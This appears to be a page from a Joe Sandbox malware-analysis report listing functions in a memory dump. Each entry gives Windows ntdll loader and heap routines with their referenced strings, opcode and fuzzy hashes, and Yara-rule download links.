Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit$MUI
API String ID: 0-1145731471
Opcode ID: b87dbdc9af4ef54f2593fe2035fc5834c63d8481fdae929c8eb6226237ef041f
Instruction ID: c8b115294f9b8315c2e4533caa4bb291d3390e12be3280b7f50bbb2061a0c59a
Opcode Fuzzy Hash: b87dbdc9af4ef54f2593fe2035fc5834c63d8481fdae929c8eb6226237ef041f
Instruction Fuzzy Hash: BFB1CC79A187098FDB25CF68C980F9DB3FABF48354F144929E855EB684D738E840CB51

Function 359A368C Relevance: 4.0, Strings: 3, Instructions: 292COMMON

Download Yara Rule

Strings

@, xrefs: 359A389F
\SystemRoot\system32\, xrefs: 359A3842
DelegatedNtdll, xrefs: 359A36CE

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: @$DelegatedNtdll$\SystemRoot\system32\
API String ID: 0-2391371766
Opcode ID: d590bc075687f0b2b9f192945b8dcc30f59efb8edc7b77aedec5674518741f74
Instruction ID: 9922695dad9bea063556cecaa9bc4c3b0f2d3be8133900533c228114207307f6
Opcode Fuzzy Hash: d590bc075687f0b2b9f192945b8dcc30f59efb8edc7b77aedec5674518741f74
Instruction Fuzzy Hash: 5AB19BB6608345AFE712CE54C880F5BB7E8FB49754F410829FA41AB650DB74E909CBA2

Function 359B36EE Relevance: 4.0, Strings: 3, Instructions: 236COMMON

Download Yara Rule

Strings

LdrpResMapFile Exit, xrefs: 359B3727
@, xrefs: 359B3867
LdrpResMapFile Enter, xrefs: 359B3715

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: @$LdrpResMapFile Enter$LdrpResMapFile Exit
API String ID: 0-318774311
Opcode ID: a85db80ea518c9037343e50496b9d4bb04841ccdfc5ee3c5ddffdfe7924f7590
Instruction ID: 2cbb1f31c5d45379c97a8009dc150f6e7d3c3f8925923d590b7b280fe7ce98e0
Opcode Fuzzy Hash: a85db80ea518c9037343e50496b9d4bb04841ccdfc5ee3c5ddffdfe7924f7590
Instruction Fuzzy Hash: 79816DB5608341AFEB11CB15C881B6AB7E8FF89750F44092DF9919B391DBF8E904CB52

Function 359A7410 Relevance: 4.0, Strings: 3, Instructions: 233COMMON

Download Yara Rule

Strings

Objects=%4u, xrefs: 359A75EA
Objects>%4u, xrefs: 359A75D5
VirtualAlloc, xrefs: 359A75FC

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: Objects=%4u$Objects>%4u$VirtualAlloc
API String ID: 0-3870751728
Opcode ID: c69f18ca6a47fdd0418ecd62ab1a01b38385b4138eb2fb957454323c10432b36
Instruction ID: 92a7a02eba07edcb775daeef892842ea3c049b76e3f1131661c5711b5b98e1a3
Opcode Fuzzy Hash: c69f18ca6a47fdd0418ecd62ab1a01b38385b4138eb2fb957454323c10432b36
Instruction Fuzzy Hash: D0914CB5E002059FEB14CF68C881B9DBBF1FF88314F14816AD905AB391EB759842CFA5

Function 3592B440 Relevance: 4.0, Strings: 3, Instructions: 221COMMON

Download Yara Rule

Strings

LdrpResGetResourceDirectory Exit, xrefs: 3592B477
{, xrefs: 359837B6
LdrpResGetResourceDirectory Enter, xrefs: 3592B465

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: LdrpResGetResourceDirectory Enter$LdrpResGetResourceDirectory Exit${
API String ID: 0-373624363
Opcode ID: 43d0e6b73bd2907e7da0a5ed427a3a4e39834f7e6f8e99b078f93aedf3141705
Instruction ID: dfbb67601421f03b74d3015a71d656eb889410e9f45908ada545defc1477eb64
Opcode Fuzzy Hash: 43d0e6b73bd2907e7da0a5ed427a3a4e39834f7e6f8e99b078f93aedf3141705
Instruction Fuzzy Hash: 8391D0B5A09709CFEB21CF54D840BAE77F6FF04364F148199E855AB294D7B8DA80CB90

Function 3595909C Relevance: 3.9, Strings: 3, Instructions: 199COMMON

Download Yara Rule

Strings

@, xrefs: 35959148
&, xrefs: 35995CF8
%, xrefs: 35995D3F

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: %$&$@
API String ID: 0-1537733988
Opcode ID: 0cf6b1ff0aba6b1046aeab2b41e6fbdf35cd66b9f2b9bcc8b274f220f87c3624
Instruction ID: c5924b10c9b6bf900a6a54a620e9ebb70033cee497d4973de1d4dc4f0350b2d2
Opcode Fuzzy Hash: 0cf6b1ff0aba6b1046aeab2b41e6fbdf35cd66b9f2b9bcc8b274f220f87c3624
Instruction Fuzzy Hash: F671BE746093019FE714CF20C980A5BBBFEFF89668F508D1DE49A87291DB31E915CB92

Function 359FB73C Relevance: 3.9, Strings: 3, Instructions: 180COMMON

Download Yara Rule

Strings

GlobalizationUserSettings, xrefs: 359FB834
TargetNtPath, xrefs: 359FB82F
\Registry\Machine\SYSTEM\CurrentControlSet\Control\International, xrefs: 359FB82A

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: GlobalizationUserSettings$TargetNtPath$\Registry\Machine\SYSTEM\CurrentControlSet\Control\International
API String ID: 0-505981995
Opcode ID: 9d1225d339c197a8876d588391f5e38300b6d1f0d0f6311da16bf6b8467e3ae5
Instruction ID: 346ff60b9d34a86e280657abac873aead1bd9e4235003a3d82435758946c7c77
Opcode Fuzzy Hash: 9d1225d339c197a8876d588391f5e38300b6d1f0d0f6311da16bf6b8467e3ae5
Instruction Fuzzy Hash: 41618D72A4122DABDB21DF54DC88BDAB7B9BF08755F4101E5E908A7250CB35EE84CF90

Function 3591F7BA Relevance: 3.9, Strings: 3, Instructions: 167COMMON

Download Yara Rule

Strings

RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 3597E6C6
HEAP[%wZ]: , xrefs: 3597E6A6
HEAP: , xrefs: 3597E6B3

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
API String ID: 0-1340214556
Opcode ID: c165fc5e846968a4d5aa57e3d974e0180d1ecd02c228e8d19ba03bcd66fd77e6
Instruction ID: 71bf72e3dbb1d6c28283190648256c209bd258f9fe79880a6d58471b30a4997c
Opcode Fuzzy Hash: c165fc5e846968a4d5aa57e3d974e0180d1ecd02c228e8d19ba03bcd66fd77e6
Instruction Fuzzy Hash: 0551F675604B58EFE312CB64C845F9ABBF9FF05344F0440A5E9428B693DB78EA40CB20

Function 359415F4 Relevance: 3.9, Strings: 3, Instructions: 166COMMON

Download Yara Rule

Strings

LdrpCompleteMapModule, xrefs: 3598A590
Could not validate the crypto signature for DLL %wZ, xrefs: 3598A589
minkernel\ntdll\ldrmap.c, xrefs: 3598A59A

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
API String ID: 0-1676968949
Opcode ID: 0509b44e89950cbf40d8d7c48efbd70374688c7641e6d8c2b5a4e7fd32f8e8fb
Instruction ID: 1f6d2c5b2f8bdad2fb5b910641b39fced739bd373a52de4e8881ead6c034e8df
Opcode Fuzzy Hash: 0509b44e89950cbf40d8d7c48efbd70374688c7641e6d8c2b5a4e7fd32f8e8fb
Instruction Fuzzy Hash: 035152B8704784DBE722CB1AC984B0A77F9FF00764F0802A9E9519B6E2DB74ED40CB40

Function 3591758F Relevance: 3.9, Strings: 3, Instructions: 132COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 3597AFAB
Invalid address specified to %s( %p, %p ), xrefs: 3597AFCB
HEAP: , xrefs: 3597AFB8

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Invalid address specified to %s( %p, %p )
API String ID: 0-1151232445
Opcode ID: 463b1ee5b278975235badf5b921968a65e835511f334f7e4fe0f6cd7a105862b
Instruction ID: 6122f0c215827d47586a98aa936522354154297df83801d88ba9986fae7f7fa5
Opcode Fuzzy Hash: 463b1ee5b278975235badf5b921968a65e835511f334f7e4fe0f6cd7a105862b
Instruction Fuzzy Hash: 144179B93043558FEB25CB1CC880B6977E5BF053D4F5440AADC568B242DB72DA86CB12

Function 359516CF Relevance: 3.9, Strings: 3, Instructions: 127COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrtls.c, xrefs: 35991B4A
TlsVector %p Index %d : %d bytes copied from %p to %p, xrefs: 35991B39
LdrpAllocateTls, xrefs: 35991B40

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: LdrpAllocateTls$TlsVector %p Index %d : %d bytes copied from %p to %p$minkernel\ntdll\ldrtls.c
API String ID: 0-4274184382
Opcode ID: 94820b7001e6cd39bdd301457552587ef511eba92085b97c90546ae679d392bd
Instruction ID: acc8df62986a2e30a4aabd6cfda6ab81215815c120dd819cca079e6d001712b0
Opcode Fuzzy Hash: 94820b7001e6cd39bdd301457552587ef511eba92085b97c90546ae679d392bd
Instruction Fuzzy Hash: AE41AAB5A01749EFDB15CFA8C840BAEBBF6FF48314F148519E405A7211DB74A901EF90

Function 359D5180 Relevance: 3.9, Strings: 3, Instructions: 114COMMON

Download Yara Rule

Strings

Leaked Block 0x%p size 0x%p (stack %p depth %u), xrefs: 359D52AB
HEAP[%wZ]: , xrefs: 359D5284
HEAP: , xrefs: 359D5291

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: Leaked Block 0x%p size 0x%p (stack %p depth %u)$HEAP: $HEAP[%wZ]:
API String ID: 0-964947082
Opcode ID: 302f97cb3e2c51a9bb23d7a6c37cf673230a0af9b74b9bc24bbfdecee309b91b
Instruction ID: 03cb249a4095a7998fe3ce878e2f9d08dff2dcf85af8914b2bda703a51e0a9f2
Opcode Fuzzy Hash: 302f97cb3e2c51a9bb23d7a6c37cf673230a0af9b74b9bc24bbfdecee309b91b
Instruction Fuzzy Hash: 0E4106B5615358DFD710CF58D880F6ABBF9FF08394F01C05AEA069B241CA30DA49DBA0

Function 359533A0 Relevance: 3.9, Strings: 3, Instructions: 111COMMON

Download Yara Rule

Strings

Actx , xrefs: 359533AC
RtlCreateActivationContext, xrefs: 359929F9
SXS: %s() passed the empty activation context data, xrefs: 359929FE

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: Actx $RtlCreateActivationContext$SXS: %s() passed the empty activation context data
API String ID: 0-859632880
Opcode ID: aa36b0624f4186cb6cabe7b6a1a5689b90911b28f2e10e6512ceaba2de339852
Instruction ID: cd16a356117ece585d9ae5a0af3ac4b2c33530d67ec0c6a6073be2c9dbb4b658
Opcode Fuzzy Hash: aa36b0624f4186cb6cabe7b6a1a5689b90911b28f2e10e6512ceaba2de339852
Instruction Fuzzy Hash: 033101736113059FEB16CE69D880B9A37A9FB48720F518869ED059F282CB70E855CB90

Function 359AB594 Relevance: 3.9, Strings: 3, Instructions: 107COMMON

Download Yara Rule

Strings

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\, xrefs: 359AB632
@, xrefs: 359AB670
GlobalFlag, xrefs: 359AB68F

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: @$GlobalFlag$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
API String ID: 0-4192008846
Opcode ID: 8090fe15918dd8e1831d60ac56e49dfb2cb3eab7e8643490997c1c1292500853
Instruction ID: 00251aa4f3b693532fdadf3dd0304110acbf3e1bfb933f72e38a96a56cf0c09e
Opcode Fuzzy Hash: 8090fe15918dd8e1831d60ac56e49dfb2cb3eab7e8643490997c1c1292500853
Instruction Fuzzy Hash: AC315AB6E00219AFDB01DFA4DC80AEEBBBDEF44754F500469EA05A7151D774AA04CBA4

Function 359C13B9 Relevance: 3.9, Strings: 3, Instructions: 101COMMON

Download Yara Rule

Strings

OsBootstatPath, xrefs: 359C1410
\REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Control, xrefs: 359C13C4
@, xrefs: 359C13F3

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: @$OsBootstatPath$\REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Control
API String ID: 0-1050206962
Opcode ID: 6c25ff32682aec05d605e195772155f472eb19d6f0c96043971f133965661d88
Instruction ID: 5d7daf9a325616b80050db371700b21a71f5660508ed369d21efdae882a1367a
Opcode Fuzzy Hash: 6c25ff32682aec05d605e195772155f472eb19d6f0c96043971f133965661d88
Instruction Fuzzy Hash: 8D318E72E00659BFDB12DF94CC84EAEBBBDEB44754F4144E5EA00A7211D738DD089BA1

Function 35951607 Relevance: 3.8, Strings: 3, Instructions: 98COMMON

Download Yara Rule

Strings

LdrpInitializeTls, xrefs: 35991A47
minkernel\ntdll\ldrtls.c, xrefs: 35991A51
DLL "%wZ" has TLS information at %p, xrefs: 35991A40

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: DLL "%wZ" has TLS information at %p$LdrpInitializeTls$minkernel\ntdll\ldrtls.c
API String ID: 0-931879808
Opcode ID: 12a2c387cc3ebfa46861d8f815f4df91a8b6804083b21ea7f600f6674f8f3509
Instruction ID: ec3f9edbc519d4b120071a45b5c7ecfcac73870188feeea888a295e1c1d6dd54
Opcode Fuzzy Hash: 12a2c387cc3ebfa46861d8f815f4df91a8b6804083b21ea7f600f6674f8f3509
Instruction Fuzzy Hash: 7031F871A12341ABEB14CF48C845F9A737DFB483A4F050959E940B7290DB70BE56ABA0

Function 359174B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 117timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3597AEC0

Strings

RtlValidateHeap, xrefs: 359174ED, 3591752F

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID: DebugPrintTimes
String ID: RtlValidateHeap
API String ID: 3446177414-1797218451
Opcode ID: c099ca8de017913150ecbe840bdf9f1eedbffe75b789a84d6ef52e9b1ee038cc
Instruction ID: 3484667fc32c051df038a732c330ef66ef0a0fcd13f2dc4ddc391ecd1d7b6a6a
Opcode Fuzzy Hash: c099ca8de017913150ecbe840bdf9f1eedbffe75b789a84d6ef52e9b1ee038cc
Instruction Fuzzy Hash: 66412C76B0535ADFDB02CF64C8907ADBBB6BF45350F04825ADC5257281CB35AA01DBD0

Function 359C705E Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 112timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 359C70C2

Strings

kLsE, xrefs: 359C70A4

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID: DebugPrintTimes
String ID: kLsE
API String ID: 3446177414-3058123920
Opcode ID: e466920747e8475eed49b3f1a5836855926898062f84291fa98dedbbaccfe041
Instruction ID: 1541b5973ed5d642b37f5ba817cf70805f73d3d74476bd21932b31f63baa4fef
Opcode Fuzzy Hash: e466920747e8475eed49b3f1a5836855926898062f84291fa98dedbbaccfe041
Instruction Fuzzy Hash: AB4126B16253514BE711DB68ED84B6D3BA8B704764F11019DEC62AB0C2CF641683D7E2

Function 359352A0 Relevance: 3.2, Strings: 2, Instructions: 658COMMON

Download Yara Rule

Strings

@, xrefs: 35935445
@, xrefs: 359355A3

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: @$@
API String ID: 0-149943524
Opcode ID: 0f90a6d90085615ca649d1ba4eadd9f5732b7e1ca5c145c90b25c5aa6b9b342f
Instruction ID: f752f9c4016d84303bf264f555952dbd483b7e5baed5e200341c6c61fb37a86e
Opcode Fuzzy Hash: 0f90a6d90085615ca649d1ba4eadd9f5732b7e1ca5c145c90b25c5aa6b9b342f
Instruction Fuzzy Hash: 323279B8609351CBD725CF14C481B2AB7FAFF88744F50492EE9869B2A0E774D944CB92

Function 35925702 Relevance: 3.1, APIs: 2, Instructions: 104timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 35925778
RtlDebugPrintTimes.NTDLL ref: 35980816

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 16249c75911a06a50747434db926282e060b82206a1345d5c93a8b9771906d45
Instruction ID: 490a5b6598b91765aaad39b30e034b123eec0d4b8dacacb828587c2fcac81473
Opcode Fuzzy Hash: 16249c75911a06a50747434db926282e060b82206a1345d5c93a8b9771906d45
Instruction Fuzzy Hash: 5B31CB35341B0AEFE755CB24CA80E8ABBBABF48344F040025E9059BA55DBB4F821CBD0

Function 3593F720 Relevance: 2.7, Strings: 2, Instructions: 159COMMON

Download Yara Rule

Strings

$, xrefs: 3593F860
$, xrefs: 3593F7F6

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$$
API String ID: 3446177414-233714265
Opcode ID: aa54ddad9e6abcaf57ea47f7f7cda0df84973e0834861753b7ff3f409e9bd28b
Instruction ID: cbae04b0290cf52295887b5e812b498ab27b6fa21303c5654cd5f2fddbdbc52b
Opcode Fuzzy Hash: aa54ddad9e6abcaf57ea47f7f7cda0df84973e0834861753b7ff3f409e9bd28b
Instruction Fuzzy Hash: 6461DD75A06749DFEB20CFA4C582B9DBBB6FF48304F104069D51AAB641DB7CB985CB80

Function 359B35BA Relevance: 2.6, Strings: 2, Instructions: 99COMMON

Download Yara Rule

Strings

LdrResGetRCConfig Exit, xrefs: 359B35FE
LdrResGetRCConfig Enter, xrefs: 359B35EC

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit
API String ID: 0-118005554
Opcode ID: 9b76c719f12643daad5b2c0502bd847e0292e6814b4f22e9a09f2c7d363c2a53
Instruction ID: c6dae83a5de16e3391ebb2435bbddcf4668cc7ac20d6dc80ea03d5fe4f705f78
Opcode Fuzzy Hash: 9b76c719f12643daad5b2c0502bd847e0292e6814b4f22e9a09f2c7d363c2a53
Instruction Fuzzy Hash: 5A31ED76209741DBE701CB69E846B1AB3E8FF8D750F040869F854CB391EBB4E905CB92

Function 3595329E Relevance: 2.6, Strings: 2, Instructions: 93COMMON

Download Yara Rule

Strings

.Local\, xrefs: 359532B5
@, xrefs: 3595330D

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: .Local\$@
API String ID: 0-380025441
